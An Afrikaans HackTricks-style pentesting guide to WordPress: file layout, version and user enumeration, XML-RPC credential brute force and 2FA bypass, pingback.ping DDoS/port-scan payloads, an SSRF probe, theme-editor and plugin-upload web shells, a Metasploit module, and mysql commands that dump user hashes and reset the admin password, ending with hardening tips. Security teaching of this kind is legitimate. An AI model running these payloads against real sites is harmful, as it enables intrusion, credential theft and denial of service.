20 KiB
Wordpress
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Gebruik Trickest om maklik te bou en werkstrome outomatiseer aangedryf deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Basiese Inligting
Geüploade lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalêers kan gevind word in /wp-content/themes/, so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die twintigtwintig-tema te gebruik, kan jy die 404.php-lêer in: /wp-content/themes/twentytwelve/404.php
'n Ander nuttige URL kan wees: /wp-content/themes/default/404.php
In wp-config.php kan jy die hoofwagwoord van die databasis vind.
Verkieslike aanmeldingspaaie om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Hoof WordPress Lêers
index.php
license.txt
bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.wp-activate.php
word gebruik vir die e-posaktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.- Aanmeldingsgids (kan hernoem word om dit te verberg):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om met HTTP oorgedra te word as die vervoermeganisme en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.- Die
wp-content
-map is die hoofgids waar plugins en temas gestoor word. wp-content/uploads/
Is die gids waar enige lêers wat na die platform geüploa word, gestoor word.wp-includes/
Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.wp-sitemap.xml
In Wordpress-weergawes 5.5 en hoër, genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare plasings tipes en taksonomieë.
Na-uitbuiting
- Die
wp-config.php
-lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasis tabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.
Gebruikers Toestemmings
- Administrateur
- Redakteur: Publiseer en bestuur sy eie en ander plasings
- Outeur: Publiseer en bestuur sy eie plasings
- Bydraer: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie
- Intekenaar: Blaai deur plasings en wysig hul profiel
Passiewe Opsomming
Kry WordPress-weergawe
Kyk of jy die lêers /license.txt
of /readme.html
kan vind
Binne die bronkode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS skakel lêers
- JavaScript lêers
Kry Inproppe
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry Temas
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Haal weergawes in die algemeen uit
{% endcode %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Gebruik Trickest om maklik en outomatiseer werkafloeie te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aktiewe opname
Invoegtoepassings en Temas
Jy sal waarskynlik nie in staat wees om al die Invoegtoepassings en Temas te vind nie. Om almal te ontdek, sal jy nodig hê om aktief 'n lys van Invoegtoepassings en Temas te Brute Force (hopelik vir ons is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).
Gebruikers
ID Brute
Jy kan geldige gebruikers van 'n WordPress-webwerf kry deur gebruikers-ID's te Brute Force:
curl -s -I -X GET http://blog.example.com/?author=1
Indien die antwoorde 200 of 30X is, beteken dit dat die id geldig is. Indien die antwoord 400 is, dan is die id ongeldig.
wp-json
Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:
curl http://blog.example.com/wp-json/wp/v2/users
'n Ander /wp-json/
eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.
Let ook dat /wp-json/wp/v2/pages IP-adresse kan laat uitlek.
Login gebruikersnaam enumerasie
Wanneer jy inlog by /wp-login.php
is die boodskap anders as die aangeduide gebruikersnaam bestaan of nie.
XML-RPC
As xml-rpc.php
aktief is, kan jy 'n geloofsbriek-kragaanval uitvoer of dit gebruik om DoS-aanvalle op ander bronne te lanceer. (Jy kan hierdie proses outomatiseer deur hierdie te gebruik byvoorbeeld).
Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:
Check
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Verifikasie van Gelde
wp.getUserBlogs
, wp.getCategories
of metaWeblog.getUsersBlogs
is van die metodes wat gebruik kan word om gelde te verifieer. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap "Verkeerde gebruikersnaam of wagwoord" binne 'n 200-kode respons behoort te verskyn as die geloofsbriewe nie geldig is nie.
Met die regte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Ook is daar 'n vinniger manier om geloofsbriewe met geweld te ontsluit deur system.multicall
te gebruik aangesien jy verskeie geloofsbriewe op dieselfde versoek kan probeer:
Bypass 2FA
Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige geloofsbriewe het maar die hoofingang word beskerm deur 2FA, mag jy dalk xmlrpc.php misbruik om in te teken met daardie geloofsbriewe deur 2FA te omseil. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy mag steeds kan slaag om by RCE uit te kom soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS of poort skandering
As jy die metode pingback.ping binne die lys kan vind, kan jy die Wordpress laat 'n willekeurige versoek na enige gas/hefboom stuur.
Dit kan gebruik word om duisende Wordpress webwerwe te vra om na 'n plek toe te gaan (sodat 'n DDoS in daardie plek veroorsaak word) of jy kan dit gebruik om Wordpress te laat skandeer vir 'n interne netwerk (jy kan enige poort aandui).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Indien jy faultCode met 'n waarde groter as 0 (17) kry, beteken dit dat die poort oop is.
Neem 'n kyk na die gebruik van system.multicall
in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lêer toegang kry, word 'n "swaar" MySQL navraag uitgevoer, wat deur aanvallers gebruik kan word om 'n DoS te veroordeel.
Daarbenewens word die wp-cron.php
standaard opgeroep met elke bladsybelading (telkens wanneer 'n klient enige Wordpress-bladsy aanvra), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te benader en die Wordpress-webwerf kan 'n versoek aan jou rig.
Dit is die reaksie wanneer dit nie werk nie:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Hierdie instrument toets of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan, en as dit wel bestaan, probeer dit om hulle uit te buit.
Outomatiese Gereedskap
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Gebruik Trickest om maklik en outomatiese werksvloei te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Kry toegang deur 'n bietjie te oorskryf
Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie 5389
van die lêer /var/www/html/wp-includes/user.php
omkeer om die NOT (!
) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Paneel RCE
Wysig 'n php van die gebruikte tema (admin-inligting benodig)
Verskyning → Tema-redakteur → 404-sjabloon (aan die regterkant)
Verander die inhoud vir 'n php dop:
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik:
use exploit/unix/webapp/wp_admin_shell_upload
Inprop RCE
PHP inprop
Dit mag moontlik wees om .php lêers as 'n inprop te laai.
Skep jou php agterdeur deur byvoorbeeld te gebruik:
Voeg dan 'n nuwe inprop by:
Laai die inprop op en druk op Installeer Nou:
Klik op Gaan voort:
Dit sal waarskynlik niks skynbaar doen nie, maar as jy na Media gaan, sal jy sien dat jou dop geüpload is:
Kry toegang daartoe en jy sal die URL sien om die omgekeerde dop uit te voer:
Oplaai en aktivering van skadelike inprop
Hierdie metode behels die installasie van 'n skadelike inprop wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web dop te verkry. Hierdie proses word uitgevoer deur die WordPress dashboard soos volg:
- Inprop Verkryging: Die inprop word verkry van 'n bron soos Exploit DB soos hier.
- Inprop Installasie:
- Navigeer na die WordPress dashboard, gaan dan na
Dashboard > Inproppe > Laai Inprop op
. - Laai die zip-lêer van die afgelaaide inprop op.
- Inprop Aktivering: Sodra die inprop suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
- Uitbuiting:
- Met die inprop "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
- Die Metasploit-raamwerk bied 'n uitbuit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen.
- Dit word opgemerk dat hierdie net een van die baie metodes is om 'n WordPress-webwerf uit te buit.
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die inprop. Dit is egter belangrik om daarop te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos deurdringende toetsing met uitdruklike toestemming.
Vir meer gedetailleerde stappe kyk: https://www.hackingarticles.in/wordpress-reverse-shell/**
Na-uitbuiting
Haal gebruikersname en wagwoorde uit:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander admin wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
WordPress Beskerming
Gereelde Opdaterings
Maak seker dat WordPress, plugins, en themes opgedateer is. Bevestig ook dat outomatiese opdatering ingeskakel is in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ook, installeer slegs vertroude WordPress-inproppe en -temas.
Sekuriteitsinproppe
Ander Aanbevelings
- Verwyder verstek admin gebruiker
- Gebruik sterk wagwoorde en 2FA
- Deurlopend hersien gebruikers toestemmings
- Beperk aanmeldingspogings om Brute Force aanvalle te voorkom
- Hernoem
wp-admin.php
lêer en staan slegs toegang intern of vanaf sekere IP-adresse toe.
Gebruik Trickest om maklik werkstrome outomaties te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.